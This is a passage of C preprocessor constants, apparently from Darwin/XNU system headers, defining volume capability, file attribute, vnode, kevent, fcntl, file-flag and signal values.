0x00080000\n#define VOL_CAP_FMT_WRITE_GENERATION_COUNT 0x00100000\n#define VOL_CAP_FMT_NO_IMMUTABLE_FILES 0x00200000\n#define VOL_CAP_FMT_NO_PERMISSIONS 0x00400000\n#define VOL_CAP_FMT_SHARED_SPACE 0x00800000\n#define VOL_CAP_FMT_VOL_GROUPS 0x01000000\n#define VOL_CAP_FMT_SEALED 0x02000000\n#define VOL_CAP_FMT_CLONE_MAPPING 0x04000000\n#define VOL_CAP_INT_SEARCHFS 0x00000001\n#define VOL_CAP_INT_ATTRLIST 0x00000002\n#define VOL_CAP_INT_NFSEXPORT 0x00000004\n#define VOL_CAP_INT_READDIRATTR 0x00000008\n#define VOL_CAP_INT_EXCHANGEDATA 0x00000010\n#define VOL_CAP_INT_COPYFILE 0x00000020\n#define VOL_CAP_INT_ALLOCATE 0x00000040\n#define VOL_CAP_INT_VOL_RENAME 0x00000080\n#define VOL_CAP_INT_ADVLOCK 0x00000100\n#define VOL_CAP_INT_FLOCK 0x00000200\n#define VOL_CAP_INT_EXTENDED_SECURITY 0x00000400\n#define VOL_CAP_INT_USERACCESS 0x00000800\n#define VOL_CAP_INT_MANLOCK 0x00001000\n#define VOL_CAP_INT_NAMEDSTREAMS 0x00002000\n#define VOL_CAP_INT_EXTENDED_ATTR 0x00004000\n#define VOL_CAP_INT_CLONE 0x00010000\n#define VOL_CAP_INT_SNAPSHOT 0x00020000\n#define VOL_CAP_INT_RENAME_SWAP 0x00040000\n#define VOL_CAP_INT_RENAME_EXCL 0x00080000\n#define VOL_CAP_INT_RENAME_OPENFAIL 0x00100000\n#define VOL_CAP_INT_RENAME_SECLUDE 0x00200000\n#define VOL_CAP_INT_ATTRIBUTION_TAG 0x00400000\n#define VOL_CAP_INT_PUNCHHOLE 0x00800000\n#define ATTR_CMN_NAME 0x00000001\n#define ATTR_CMN_DEVID 0x00000002\n#define ATTR_CMN_FSID 0x00000004\n#define ATTR_CMN_OBJTYPE 0x00000008\n#define ATTR_CMN_OBJTAG 0x00000010\n#define ATTR_CMN_OBJID 0x00000020\n#define ATTR_CMN_OBJPERMANENTID 0x00000040\n#define ATTR_CMN_PAROBJID 0x00000080\n#define ATTR_CMN_SCRIPT 0x00000100\n#define ATTR_CMN_CRTIME 0x00000200\n#define ATTR_CMN_MODTIME 0x00000400\n#define ATTR_CMN_CHGTIME 0x00000800\n#define ATTR_CMN_ACCTIME 0x00001000\n#define ATTR_CMN_BKUPTIME 0x00002000\n#define ATTR_CMN_FNDRINFO 0x00004000\n#define ATTR_CMN_OWNERID 0x00008000\n#define ATTR_CMN_GRPID 0x00010000\n#define ATTR_CMN_ACCESSMASK 0x00020000\n#define ATTR_CMN_FLAGS 0x00040000\n#define ATTR_CMN_GEN_COUNT 0x00080000\n#define ATTR_CMN_DOCUMENT_ID 0x00100000\n#define ATTR_CMN_USERACCESS 0x00200000\n#define ATTR_CMN_EXTENDED_SECURITY 0x00400000\n#define ATTR_CMN_UUID 0x00800000\n#define ATTR_CMN_GRPUUID 0x01000000\n#define ATTR_CMN_FILEID 0x02000000\n#define ATTR_CMN_PARENTID 0x04000000\n#define ATTR_CMN_FULLPATH 0x08000000\n#define ATTR_CMN_ADDEDTIME 0x10000000\n#define ATTR_CMN_ERROR 0x20000000\n#define ATTR_CMN_DATA_PROTECT_FLAGS 0x40000000\n#define ATTR_CMN_RETURNED_ATTRS 0x80000000\n#define ATTR_CMN_VALIDMASK 0xFFFFFFFF\n#define ATTR_CMN_SETMASK 0x51C7FF00\n#define ATTR_CMN_VOLSETMASK 0x00006700\n#define ATTR_VOL_FSTYPE 0x00000001\n#define ATTR_VOL_SIGNATURE 0x00000002\n#define ATTR_VOL_SIZE 0x00000004\n#define ATTR_VOL_SPACEFREE 0x00000008\n#define ATTR_VOL_SPACEAVAIL 0x00000010\n#define ATTR_VOL_MINALLOCATION 0x00000020\n#define ATTR_VOL_ALLOCATIONCLUMP 0x00000040\n#define ATTR_VOL_IOBLOCKSIZE 0x00000080\n#define ATTR_VOL_OBJCOUNT 0x00000100\n#define ATTR_VOL_FILECOUNT 0x00000200\n#define ATTR_VOL_DIRCOUNT 0x00000400\n#define ATTR_VOL_MAXOBJCOUNT 0x00000800\n#define ATTR_VOL_MOUNTPOINT 0x00001000\n#define ATTR_VOL_NAME 0x00002000\n#define ATTR_VOL_MOUNTFLAGS 0x00004000\n#define ATTR_VOL_MOUNTEDDEVICE 0x00008000\n#define ATTR_VOL_ENCODINGSUSED 0x00010000\n#define ATTR_VOL_CAPABILITIES 0x00020000\n#define ATTR_VOL_UUID 0x00040000\n#define ATTR_VOL_FSTYPENAME 0x00100000\n#define ATTR_VOL_FSSUBTYPE 0x00200000\n#define ATTR_VOL_SPACEUSED 0x00800000\n#define ATTR_VOL_QUOTA_SIZE 0x10000000\n#define ATTR_VOL_RESERVED_SIZE 0x20000000\n#define ATTR_VOL_ATTRIBUTES 0x40000000\n#define ATTR_VOL_INFO 0x80000000\n#define ATTR_VOL_VALIDMASK 0xF0B7FFFF\n#define ATTR_VOL_SETMASK 0x80002000\n#define ATTR_DIR_LINKCOUNT 0x00000001\n#define ATTR_DIR_ENTRYCOUNT 0x00000002\n#define ATTR_DIR_MOUNTSTATUS 0x00000004\n#define ATTR_DIR_ALLOCSIZE 0x00000008\n#define ATTR_DIR_IOBLOCKSIZE 0x00000010\n#define ATTR_DIR_DATALENGTH 0x00000020\n#define DIR_MNTSTATUS_MNTPOINT 0x00000001\n#define DIR_MNTSTATUS_TRIGGER 0x00000002\n#define ATTR_DIR_VALIDMASK 0x0000003f\n#define ATTR_DIR_SETMASK 0x00000000\n#define ATTR_FILE_LINKCOUNT 0x00000001\n#define ATTR_FILE_TOTALSIZE 0x00000002\n#define ATTR_FILE_ALLOCSIZE 0x00000004\n#define ATTR_FILE_IOBLOCKSIZE 0x00000008\n#define ATTR_FILE_DEVTYPE 0x00000020\n#define ATTR_FILE_FORKCOUNT 0x00000080\n#define ATTR_FILE_FORKLIST 0x00000100\n#define ATTR_FILE_DATALENGTH 0x00000200\n#define ATTR_FILE_DATAALLOCSIZE 0x00000400\n#define ATTR_FILE_RSRCLENGTH 0x00001000\n#define ATTR_FILE_RSRCALLOCSIZE 0x00002000\n#define ATTR_FILE_VALIDMASK 0x000037FF\n#define ATTR_FILE_SETMASK 0x00000020\n#define ATTR_CMNEXT_RELPATH 0x00000004\n#define ATTR_CMNEXT_PRIVATESIZE 0x00000008\n#define ATTR_CMNEXT_LINKID 0x00000010\n#define ATTR_CMNEXT_NOFIRMLINKPATH 0x00000020\n#define ATTR_CMNEXT_REALDEVID 0x00000040\n#define ATTR_CMNEXT_REALFSID 0x00000080\n#define ATTR_CMNEXT_CLONEID 0x00000100\n#define ATTR_CMNEXT_EXT_FLAGS 0x00000200\n#define ATTR_CMNEXT_RECURSIVE_GENCOUNT 0x00000400\n#define ATTR_CMNEXT_ATTRIBUTION_TAG 0x00000800\n#define ATTR_CMNEXT_CLONE_REFCNT 0x00001000\n#define ATTR_CMNEXT_VALIDMASK 0x00001ffc\n#define ATTR_CMNEXT_SETMASK 0x00000000\n#define ATTR_FORK_TOTALSIZE 0x00000001\n#define ATTR_FORK_ALLOCSIZE 0x00000002\n#define ATTR_FORK_RESERVED 0xffffffff\n#define ATTR_FORK_VALIDMASK 0x00000003\n#define ATTR_FORK_SETMASK 0x00000000\n#define ATTR_CMN_NAMEDATTRCOUNT 0x00080000\n#define ATTR_CMN_NAMEDATTRLIST 0x00100000\n#define ATTR_FILE_CLUMPSIZE 0x00000010\n#define ATTR_FILE_FILETYPE 0x00000040\n#define ATTR_FILE_DATAEXTENTS 0x00000800\n#define ATTR_FILE_RSRCEXTENTS 0x00004000\n#define SRCHFS_START 0x00000001\n#define SRCHFS_MATCHPARTIALNAMES 0x00000002\n#define SRCHFS_MATCHDIRS 0x00000004\n#define SRCHFS_MATCHFILES 0x00000008\n#define SRCHFS_SKIPLINKS 0x00000010\n#define SRCHFS_SKIPINVISIBLE 0x00000020\n#define SRCHFS_SKIPPACKAGES 0x00000040\n#define SRCHFS_SKIPINAPPROPRIATE 0x00000080\n#define SRCHFS_NEGATEPARAMS 0x80000000\n#define SRCHFS_VALIDOPTIONSMASK 0x800000FF\n#define KEV_ANY_VENDOR 0\n#define KEV_ANY_CLASS 0\n#define KEV_ANY_SUBCLASS 0\n#define KEV_VENDOR_APPLE 1\n#define KEV_NETWORK_CLASS 1\n#define KEV_IOKIT_CLASS 2\n#define KEV_SYSTEM_CLASS 3\n#define KEV_APPLESHARE_CLASS 4\n#define KEV_FIREWALL_CLASS 5\n#define KEV_IEEE80211_CLASS 6\n#define KEV_NKE_CLASS 7\n#define KEV_NKE_ALF_SUBCLASS 1\n#define KEV_NKE_ALF_STATE_CHANGED 1\n#define XNU_KERN_EVENT_DATA_SIZE 1\n#define KEV_VENDOR_CODE_MAX_STR_LEN 200\n#define N_KEV_VECTORS 5\n#define M_WAITOK 0x0000\n#define M_NOWAIT 0x0001\n#define M_ZERO 0x0004\n#define M_NULL 0x0008\n#define M_PCB 4\n#define M_RTABLE 5\n#define M_IFADDR 9\n#define M_SONAME 11\n#define M_LOCKF 40\n#define M_TEMP 80\n#define M_UDFNODE 84\n#define M_UDFMNT 85\n#define M_KAUTH 100\n#define HAVE_VT_LOCKERFS 1\n#define VNODE_READ 0x01\n#define VNODE_WRITE 0x02\n#define VNODE_BLOCKMAP_NO_TRACK 0x04\n#define VNODE_CLUSTER_VERIFY 0x08\n#define PREALLOCATE 0x00000001\n#define ALLOCATECONTIG 0x00000002\n#define ALLOCATEALL 0x00000004\n#define ALLOCATEPERSIST 0x00000008\n#define ALLOCATEFROMPEOF 0x00000010\n#define ALLOCATEFROMVOL 0x00000020\n#define IO_UNIT 0x0001\n#define IO_APPEND 0x0002\n#define IO_SYNC 0x0004\n#define IO_NODELOCKED 0x0008\n#define IO_NDELAY 0x0010\n#define IO_NOZEROFILL 0x0020\n#define IO_TAILZEROFILL 0x0040\n#define IO_HEADZEROFILL 0x0080\n#define IO_NOZEROVALID 0x0100\n#define IO_NOZERODIRTY 0x0200\n#define IO_CLOSE 0x0400\n#define IO_NOCACHE 0x0800\n#define IO_RAOFF 0x1000\n#define IO_DEFWRITE 0x2000\n#define IO_PASSIVE 0x4000\n#define IO_NOAUTH 0x8000\n#define IO_NODIRECT 0x10000\n#define IO_ENCRYPTED 0x20000\n#define IO_RETURN_ON_THROTTLE 0x40000\n#define IO_SINGLE_WRITER 0x80000\n#define IO_SYSCALL_DISPATCH 0x100000\n#define IO_SWAP_DISPATCH 0x200000\n#define IO_SKIP_ENCRYPTION 0x400000\n#define IO_EVTONLY 0x800000\n#define IO_NOCACHE_SYSSPACE 0x1000000\n#define IO_NOCACHE_SWRITE 0x2000000\n#define LOOKUP 0\n#define CREATE 1\n#define DELETE 2\n#define RENAME 3\n#define OPMASK 3\n#define FOLLOW 0x00000040\n#define ISDOTDOT 0x00002000\n#define MAKEENTRY 0x00004000\n#define ISLASTCN 0x00008000\n#define VNFS_NOCACHE 0x01\n#define VNFS_CANTCACHE 0x02\n#define VNFS_ADDFSREF 0x04\n#define VNCREATE_FLAVOR 0\n#define VA_UTIMES_NULL 0x010000\n#define VA_EXCLUSIVE 0x020000\n#define VA_NOINHERIT 0x040000\n#define VA_NOAUTH 0x080000\n#define VA_64BITOBJIDS 0x100000\n#define VA_REALFSID 0x200000\n#define VA_USEFSID 0x400000\n#define VA_FILESEC_ACL 0x800000\n#define VSUID 0x800\n#define VSGID 0x400\n#define VSVTX 0x200\n#define VREAD 0x100\n#define VWRITE 0x080\n#define VEXEC 0x040\n#define SKIPSYSTEM 0x0001\n#define FORCECLOSE 0x0002\n#define WRITECLOSE 0x0004\n#define SKIPSWAP 0x0008\n#define SKIPROOT 0x0010\n#define DOCLOSE 0x0008\n#define V_SAVE 0x0001\n#define V_SAVEMETA 0x0002\n#define REVOKEALL 0x0001\n#define VNODE_REMOVE_NODELETEBUSY 0x0001\n#define VNODE_REMOVE_SKIP_NAMESPACE_EVENT 0x0002\n#define VNODE_REMOVE_NO_AUDIT_PATH 0x0004\n#define VNODE_REMOVE_DATALESS_DIR 0x0008\n#define VNODE_READDIR_EXTENDED 0x0001\n#define VNODE_READDIR_REQSEEKOFF 0x0002\n#define VNODE_READDIR_SEEKOFF32 0x0004\n#define VNODE_READDIR_NAMEMAX 0x0008\n#define VNODE_CLONEFILE_DEFAULT 0x0000\n#define VNODE_CLONEFILE_NOOWNERCOPY 0x0001\n#define VNODE_ASYNC_THROTTLE 15\n#define VNODE_UPDATE_PARENT 0x01\n#define VNODE_UPDATE_NAME 0x02\n#define VNODE_UPDATE_CACHE 0x04\n#define VNODE_UPDATE_PURGE 0x08\n#define VNODE_LOOKUP_NOFOLLOW 0x01\n#define VNODE_LOOKUP_NOCROSSMOUNT 0x02\n#define VNODE_LOOKUP_CROSSMOUNTNOWAIT 0x04\n#define VNODE_LOOKUP_NOFOLLOW_ANY 0x08\n#define VNODE_RELOAD 0x01\n#define VNODE_WAIT 0x02\n#define VNODE_WRITEABLE 0x04\n#define VNODE_WITHID 0x08\n#define VNODE_NOLOCK_INTERNAL 0x10\n#define VNODE_NODEAD 0x20\n#define VNODE_NOSUSPEND 0x40\n#define VNODE_ITERATE_ALL 0x80\n#define VNODE_ITERATE_ACTIVE 0x100\n#define VNODE_ITERATE_INACTIVE 0x200\n#define VNODE_RETURNED 0\n#define VNODE_RETURNED_DONE 1\n#define VNODE_CLAIMED 2\n#define VNODE_CLAIMED_DONE 3\n#define IOCS_BUFFER_NUM_SIZE_BUCKETS 10\n#define IOCS_BUFFER_MAX_BUCKET 9\n#define IOCS_BUFFER_NUM_COMPRESSION_BUCKETS 7\n#define IOCS_BLOCK_NUM_SIZE_BUCKETS 16\n#define IOCS_SBE_PATH_LEN 128\n#define IOCS_PATH_START_BYTES_TO_COPY 108\n#define IOCS_PATH_END_BYTES_TO_COPY 20\n#define IOCS_SYSCTL_LIVE 0x00000001\n#define IOCS_SYSCTL_STORE_BUFFER_RD_ONLY 0x00000002\n#define IOCS_SYSCTL_STORE_BUFFER_MARK 0x00000004\n#define TANDEM 0x00000001\n#define CBREAK 0x00000002\n#define LCASE 0x00000004\n#define ECHO 0x00000008\n#define CRMOD 0x00000010\n#define RAW 0x00000020\n#define ODDP 0x00000040\n#define EVENP 0x00000080\n#define ANYP 0x000000c0\n#define NLDELAY 0x00000300\n#define TBDELAY 0x00000c00\n#define XTABS 0x00000c00\n#define CRDELAY 0x00003000\n#define VTDELAY 0x00004000\n#define BSDELAY 0x00008000\n#define NL0 0x00000000\n#define NL1 0x00000100\n#define NL2 0x00000200\n#define NL3 0x00000300\n#define TAB0 0x00000000\n#define TAB1 0x00000400\n#define TAB2 0x00000800\n#define CR0 0x00000000\n#define CR1 0x00001000\n#define CR2 0x00002000\n#define CR3 0x00003000\n#define FF0 0x00000000\n#define FF1 0x00004000\n#define BS0 0x00000000\n#define BS1 0x00008000\n#define CRTBS 0x00010000\n#define PRTERA 0x00020000\n#define CRTERA 0x00040000\n#define TILDE 0x00080000\n#define MDMBUF 0x00100000\n#define LITOUT 0x00200000\n#define TOSTOP 0x00400000\n#define FLUSHO 0x00800000\n#define NOHANG 0x01000000\n#define L001000 0x02000000\n#define CRTKIL 0x04000000\n#define PASS8 0x08000000\n#define CTLECH 0x10000000\n#define PENDIN 0x20000000\n#define DECCTQ 0x40000000\n#define NOFLSH 0x80000000\n#define OTTYDISC 0\n#define NETLDISC 1\n#define NTTYDISC 2\n#define LOCKLEAF 0x0004\n#define LOCKPARENT 0x0008\n#define WANTPARENT 0x0010\n#define UIO_MAXIOV 1024\n#define UIO_SMALLIOV 8\n#define EVFILT_SYSCOUNT 18\n#define KEVENT_FLAG_NONE 0x000000\n#define KEVENT_FLAG_IMMEDIATE 0x000001\n#define KEVENT_FLAG_ERROR_EVENTS 0x000002\n#define EV_ADD 0x0001\n#define EV_DELETE 0x0002\n#define EV_ENABLE 0x0004\n#define EV_DISABLE 0x0008\n#define EV_ONESHOT 0x0010\n#define EV_CLEAR 0x0020\n#define EV_RECEIPT 0x0040\n#define EV_DISPATCH 0x0080\n#define EV_UDATA_SPECIFIC 0x0100\n#define EV_VANISHED 0x0200\n#define EV_SYSFLAGS 0xF000\n#define EV_FLAG0 0x1000\n#define EV_FLAG1 0x2000\n#define EV_EOF 0x8000\n#define EV_ERROR 0x4000\n#define NOTE_TRIGGER 0x01000000\n#define NOTE_FFNOP 0x00000000\n#define NOTE_FFAND 0x40000000\n#define NOTE_FFOR 0x80000000\n#define NOTE_FFCOPY 0xc0000000\n#define NOTE_FFCTRLMASK 0xc0000000\n#define NOTE_FFLAGSMASK 0x00ffffff\n#define NOTE_LOWAT 0x00000001\n#define NOTE_OOB 0x00000002\n#define NOTE_DELETE 0x00000001\n#define NOTE_WRITE 0x00000002\n#define NOTE_EXTEND 0x00000004\n#define NOTE_ATTRIB 0x00000008\n#define NOTE_LINK 0x00000010\n#define NOTE_RENAME 0x00000020\n#define NOTE_REVOKE 0x00000040\n#define NOTE_NONE 0x00000080\n#define NOTE_FUNLOCK 0x00000100\n#define NOTE_LEASE_DOWNGRADE 0x00000200\n#define NOTE_LEASE_RELEASE 0x00000400\n#define NOTE_EXIT 0x80000000\n#define NOTE_FORK 0x40000000\n#define NOTE_EXEC 0x20000000\n#define NOTE_SIGNAL 0x08000000\n#define NOTE_EXITSTATUS 0x04000000\n#define NOTE_EXIT_DETAIL 0x02000000\n#define NOTE_PDATAMASK 0x000fffff\n#define NOTE_EXIT_DETAIL_MASK 0x00070000\n#define NOTE_EXIT_DECRYPTFAIL 0x00010000\n#define NOTE_EXIT_MEMORY 0x00020000\n#define NOTE_EXIT_CSERROR 0x00040000\n#define NOTE_VM_PRESSURE 0x80000000\n#define NOTE_VM_PRESSURE_TERMINATE 0x40000000\n#define NOTE_VM_PRESSURE_SUDDEN_TERMINATE 0x20000000\n#define NOTE_VM_ERROR 0x10000000\n#define NOTE_SECONDS 0x00000001\n#define NOTE_USECONDS 0x00000002\n#define NOTE_NSECONDS 0x00000004\n#define NOTE_ABSOLUTE 0x00000008\n#define NOTE_LEEWAY 0x00000010\n#define NOTE_CRITICAL 0x00000020\n#define NOTE_BACKGROUND 0x00000040\n#define NOTE_MACH_CONTINUOUS_TIME 0x00000080\n#define NOTE_MACHTIME 0x00000100\n#define NOTE_TRACK 0x00000001\n#define NOTE_TRACKERR 0x00000002\n#define NOTE_CHILD 0x00000004\n#define VMADDR_CID_HYPERVISOR 0\n#define VMADDR_CID_RESERVED 1\n#define VMADDR_CID_HOST 2\n#define IMG_SHSIZE 512\n#define IMGPF_NONE 0x00000000\n#define IMGPF_INTERPRET 0x00000001\n#define IMGPF_RESERVED 0x00000002\n#define IMGPF_WAS_64BIT_ADDR 0x00000004\n#define IMGPF_IS_64BIT_ADDR 0x00000008\n#define IMGPF_SPAWN 0x00000010\n#define IMGPF_DISABLE_ASLR 0x00000020\n#define IMGPF_ALLOW_DATA_EXEC 0x00000040\n#define IMGPF_3P_PLUGINS 0x00000080\n#define IMGPF_EXEC 0x00000100\n#define IMGPF_HIGH_BITS_ASLR 0x00000200\n#define IMGPF_IS_64BIT_DATA 0x00000400\n#define IMGPF_DRIVER 0x00000800\n#define IMGPF_RESLIDE 0x00001000\n#define IMGPF_PLUGIN_HOST_DISABLE_A_KEYS 0x00002000\n#define IMGPF_HW_TPRO 0x00004000\n#define IMGPF_ROSETTA 0x10000000\n#define IMGPF_ALT_ROSETTA 0x20000000\n#define IMGPF_RESERVED_2 0x40000000\n#define IMGPF_NOJOP 0x80000000\n#define IMGPF_SB_DEFAULT 0\n#define IMGPF_SB_TRUE 1\n#define IMGPF_SB_FALSE 2\n#define _POSIX_THREAD_KEYS_MAX 128\n#define F_OK 0\n#define ACCESSX_MAX_DESCRIPTORS 100\n#define _PC_LINK_MAX 1\n#define _PC_MAX_CANON 2\n#define _PC_MAX_INPUT 3\n#define _PC_NAME_MAX 4\n#define _PC_PATH_MAX 5\n#define _PC_PIPE_BUF 6\n#define _PC_CHOWN_RESTRICTED 7\n#define _PC_NO_TRUNC 8\n#define _PC_VDISABLE 9\n#define _PC_NAME_CHARS_MAX 10\n#define _PC_CASE_SENSITIVE 11\n#define _PC_CASE_PRESERVING 12\n#define _PC_EXTENDED_SECURITY_NP 13\n#define _PC_AUTH_OPAQUE_NP 14\n#define _PC_2_SYMLINKS 15\n#define _PC_ALLOC_SIZE_MIN 16\n#define _PC_ASYNC_IO 17\n#define _PC_FILESIZEBITS 18\n#define _PC_PRIO_IO 19\n#define _PC_REC_INCR_XFER_SIZE 20\n#define _PC_REC_MAX_XFER_SIZE 21\n#define _PC_REC_MIN_XFER_SIZE 22\n#define _PC_REC_XFER_ALIGN 23\n#define _PC_SYMLINK_MAX 24\n#define _PC_SYNC_IO 25\n#define _PC_XATTR_SIZE_BITS 26\n#define _PC_MIN_HOLE_SIZE 27\n#define _CS_PATH 1\n#define _SYS_CONF_H_ 1\n#define D_TAPE 1\n#define D_DISK 2\n#define D_TTY 3\n#define WNOHANG 0x00000001\n#define WUNTRACED 0x00000002\n#define WCOREFLAG 00200\n#define _WSTOPPED 00177\n#define WEXITED 0x00000004\n#define WSTOPPED 0x00000008\n#define WCONTINUED 0x00000010\n#define WNOWAIT 0x00000020\n#define WAIT_MYPGRP 0\n#define PRIO_DARWIN_GPU 5\n#define PRIO_DARWIN_GPU_ALLOW 0x1\n#define PRIO_DARWIN_GPU_DENY 0x2\n#define PRIO_DARWIN_ROLE 6\n#define PRIO_DARWIN_ROLE_DEFAULT 0x0\n#define PRIO_DARWIN_ROLE_UI_FOCAL 0x1\n#define PRIO_DARWIN_ROLE_UI 0x2\n#define PRIO_DARWIN_ROLE_NON_UI 0x3\n#define PRIO_DARWIN_ROLE_UI_NON_FOCAL 0x4\n#define PRIO_DARWIN_ROLE_TAL_LAUNCH 0x5\n#define PRIO_DARWIN_ROLE_DARWIN_BG 0x6\n#define PRIO_DARWIN_GAME_MODE 7\n#define PRIO_DARWIN_CARPLAY_MODE 8\n#define PRIO_DARWIN_GAME_MODE_OFF 0x0\n#define PRIO_DARWIN_GAME_MODE_ON 0x1\n#define PRIO_DARWIN_CARPLAY_MODE_OFF 0x0\n#define PRIO_DARWIN_CARPLAY_MODE_ON 0x1\n#define IOMON_ENABLE 0x01\n#define IOMON_DISABLE 0x02\n#define IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY 1\n#define IOPOL_TYPE_VFS_ALTLINK 11\n#define IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE 12\n#define IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT 0\n#define IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE 1\n#define IOPOL_VFS_ALTLINK_DISABLED 0\n#define IOPOL_VFS_ALTLINK_ENABLED 1\n#define IOPOL_CMD_GET 0x00000001\n#define IOPOL_CMD_SET 0x00000002\n#define IPC_CREAT 0001000\n#define IPC_EXCL 0002000\n#define IPC_NOWAIT 0004000\n#define IPC_RMID 0\n#define IPC_SET 1\n#define IPC_STAT 2\n#define IPC_R 0000400\n#define IPC_W 0000200\n#define IPC_M 0010000\n#define O_RDONLY 0x0000\n#define O_WRONLY 0x0001\n#define O_RDWR 0x0002\n#define O_ACCMODE 0x0003\n#define FREAD 0x00000001\n#define FWRITE 0x00000002\n#define O_NONBLOCK 0x00000004\n#define O_APPEND 0x00000008\n#define O_SHLOCK 0x00000010\n#define O_EXLOCK 0x00000020\n#define O_ASYNC 0x00000040\n#define O_NOFOLLOW 0x00000100\n#define O_CREAT 0x00000200\n#define O_TRUNC 0x00000400\n#define O_EXCL 0x00000800\n#define FMARK 0x00001000\n#define FDEFER 0x00002000\n#define FWASLOCKED 0x00004000\n#define O_EVTONLY 0x00008000\n#define FWASWRITTEN 0x00010000\n#define O_NOCTTY 0x00020000\n#define FNOCACHE 0x00040000\n#define FNORDAHEAD 0x00080000\n#define O_DIRECTORY 0x00100000\n#define O_SYMLINK 0x00200000\n#define FNODIRECT 0x00800000\n#define O_CLOEXEC 0x01000000\n#define FENCRYPTED 0x02000000\n#define FSINGLE_WRITER 0x04000000\n#define O_CLOFORK 0x08000000\n#define FUNENCRYPTED 0x10000000\n#define O_NOFOLLOW_ANY 0x20000000\n#define O_EXEC 0x40000000\n#define AT_EACCESS 0x0010\n#define AT_SYMLINK_NOFOLLOW 0x0020\n#define AT_SYMLINK_FOLLOW 0x0040\n#define AT_REMOVEDIR 0x0080\n#define AT_REALDEV 0x0200\n#define AT_FDONLY 0x0400\n#define AT_SYMLINK_NOFOLLOW_ANY 0x0800\n#define O_DP_GETRAWENCRYPTED 0x0001\n#define O_DP_GETRAWUNENCRYPTED 0x0002\n#define O_DP_AUTHENTICATE 0x0004\n#define CPF_OVERWRITE 0x0001\n#define CPF_IGNORE_MODE 0x0002\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETOWN 5\n#define F_SETOWN 6\n#define F_GETLK 7\n#define F_SETLK 8\n#define F_SETLKW 9\n#define F_SETLKWTIMEOUT 10\n#define F_FLUSH_DATA 40\n#define F_CHKCLEAN 41\n#define F_PREALLOCATE 42\n#define F_SETSIZE 43\n#define F_RDADVISE 44\n#define F_RDAHEAD 45\n#define F_NOCACHE 48\n#define F_LOG2PHYS 49\n#define F_GETPATH 50\n#define F_FULLFSYNC 51\n#define F_PATHPKG_CHECK 52\n#define F_FREEZE_FS 53\n#define F_THAW_FS 54\n#define F_GLOBAL_NOCACHE 55\n#define F_ADDSIGS 59\n#define F_ADDFILESIGS 61\n#define F_NODIRECT 62\n#define F_GETPROTECTIONCLASS 63\n#define F_SETPROTECTIONCLASS 64\n#define F_LOG2PHYS_EXT 65\n#define F_GETLKPID 66\n#define F_SETBACKINGSTORE 70\n#define F_GETPATH_MTMINFO 71\n#define F_GETCODEDIR 72\n#define F_SETNOSIGPIPE 73\n#define F_GETNOSIGPIPE 74\n#define F_TRANSCODEKEY 75\n#define F_SINGLE_WRITER 76\n#define F_GETPROTECTIONLEVEL 77\n#define F_FINDSIGS 78\n#define F_ADDFILESIGS_FOR_DYLD_SIM 83\n#define F_BARRIERFSYNC 85\n#define F_OFD_SETLK 90\n#define F_OFD_SETLKW 91\n#define F_OFD_GETLK 92\n#define F_OFD_SETLKWTIMEOUT 93\n#define F_ADDFILESIGS_RETURN 97\n#define F_CHECK_LV 98\n#define F_PUNCHHOLE 99\n#define F_TRIM_ACTIVE_FILE 100\n#define F_SPECULATIVE_READ 101\n#define F_GETPATH_NOFIRMLINK 102\n#define F_ADDFILESIGS_INFO 103\n#define F_ADDFILESUPPL 104\n#define F_GETSIGSINFO 105\n#define F_SETLEASE 106\n#define F_GETLEASE 107\n#define F_TRANSFEREXTENTS 110\n#define F_ATTRIBUTION_TAG 111\n#define F_ADDSIGS_MAIN_BINARY 113\n#define FCNTL_FS_SPECIFIC_BASE 0x00010000\n#define F_DUPFD_CLOEXEC 67\n#define FD_CLOEXEC 1\n#define F_RDLCK 1\n#define F_UNLCK 2\n#define F_WRLCK 3\n#define F_WAIT 0x010\n#define F_FLOCK 0x020\n#define F_POSIX 0x040\n#define F_PROV 0x080\n#define F_WAKE1_SAFE 0x100\n#define F_ABORT 0x200\n#define F_OFD_LOCK 0x400\n#define F_TRANSFER 0x800\n#define F_CONFINED 0x1000\n#define F_ALLOCATECONTIG 0x00000002\n#define F_ALLOCATEALL 0x00000004\n#define F_ALLOCATEPERSIST 0x00000008\n#define F_PEOFPOSMODE 3\n#define F_VOLPOSMODE 4\n#define USER_FSIGNATURES_CDHASH_LEN 20\n#define GETSIGSINFO_PLATFORM_BINARY 1\n#define LOCK_SH 0x01\n#define LOCK_EX 0x02\n#define LOCK_NB 0x04\n#define LOCK_UN 0x08\n#define ATTRIBUTION_NAME_MAX 255\n#define F_CREATE_TAG 0x00000001\n#define F_DELETE_TAG 0x00000002\n#define F_QUERY_TAG 0x00000004\n#define O_POPUP 0x80000000\n#define O_ALERT 0x20000000\n#define S_BLKSIZE 512\n#define UF_SETTABLE 0x0000ffff\n#define UF_NODUMP 0x00000001\n#define UF_IMMUTABLE 0x00000002\n#define UF_APPEND 0x00000004\n#define UF_OPAQUE 0x00000008\n#define UF_COMPRESSED 0x00000020\n#define UF_TRACKED 0x00000040\n#define UF_DATAVAULT 0x00000080\n#define UF_HIDDEN 0x00008000\n#define SF_SUPPORTED 0x009f0000\n#define SF_SETTABLE 0x3fff0000\n#define SF_SYNTHETIC 0xc0000000\n#define SF_ARCHIVED 0x00010000\n#define SF_IMMUTABLE 0x00020000\n#define SF_APPEND 0x00040000\n#define SF_RESTRICTED 0x00080000\n#define SF_NOUNLINK 0x00100000\n#define SF_FIRMLINK 0x00800000\n#define SF_DATALESS 0x40000000\n#define EF_MAY_SHARE_BLOCKS 0x00000001\n#define EF_NO_XATTRS 0x00000002\n#define EF_IS_SYNC_ROOT 0x00000004\n#define EF_IS_PURGEABLE 0x00000008\n#define EF_IS_SPARSE 0x00000010\n#define EF_IS_SYNTHETIC 0x00000020\n#define EF_SHARES_ALL_BLOCKS 0x00000040\n#define MBUF_COPYALL 1000000000\n#define __DARWIN_NSIG 32\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGPOLL 7\n#define SIGEMT 7\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGBUS 10\n#define SIGSEGV 11\n#define SIGSYS 12\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 